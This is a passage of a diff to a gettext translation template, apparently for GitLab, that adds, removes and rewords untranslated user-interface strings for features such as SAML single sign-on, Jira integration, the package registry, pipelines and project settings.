msgid "Grant access"
msgstr ""
@@ -14470,6 +14902,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14551,9 +14989,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14656,9 +15091,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14674,7 +15115,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14770,9 +15214,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14968,9 +15409,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15106,9 +15544,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15289,6 +15724,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15457,6 +15895,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15619,9 +16063,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15670,12 +16111,15 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15685,9 +16129,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16273,6 +16714,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16444,6 +16888,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16489,9 +16936,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16516,6 +16960,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16552,9 +16999,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16750,7 +17194,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16759,7 +17203,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16768,25 +17212,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16801,6 +17245,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16963,6 +17410,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16972,6 +17422,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17059,6 +17512,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17122,6 +17578,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17209,6 +17668,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17221,9 +17683,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17263,7 +17734,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17284,7 +17758,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17296,12 +17770,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17518,15 +17998,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17617,6 +18088,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17821,6 +18295,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18226,6 +18703,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18295,6 +18775,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18469,6 +18952,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18508,6 +18994,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18532,9 +19021,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18610,6 +19096,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18628,13 +19117,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18709,6 +19195,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18811,9 +19300,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18823,9 +19309,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18958,9 +19441,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19018,9 +19498,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19585,6 +20062,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19777,6 +20257,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19840,6 +20326,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19975,6 +20464,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20293,6 +20785,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20341,9 +20842,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20509,6 +21007,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20554,6 +21055,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20620,7 +21124,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20671,6 +21175,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20758,6 +21265,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20929,6 +21439,30 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21043,6 +21577,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21175,10 +21718,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21268,9 +21808,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21295,9 +21832,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21328,6 +21862,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21415,12 +21952,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21439,9 +21970,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21454,10 +21982,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21472,6 +22003,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21523,6 +22057,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21631,12 +22168,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21667,6 +22210,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21685,6 +22231,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21736,6 +22285,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21760,9 +22312,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21799,15 +22348,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21859,27 +22435,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22117,10 +22672,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22201,7 +22765,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22450,9 +23014,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22471,6 +23032,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22546,6 +23110,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22615,9 +23191,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22768,10 +23341,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22807,6 +23380,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22945,6 +23530,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22969,6 +23560,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22993,6 +23587,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23251,7 +23848,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23641,6 +24238,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23656,49 +24256,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23752,25 +24385,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23782,7 +24418,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23794,7 +24430,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23806,10 +24442,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23842,10 +24478,13 @@ msgstr ""
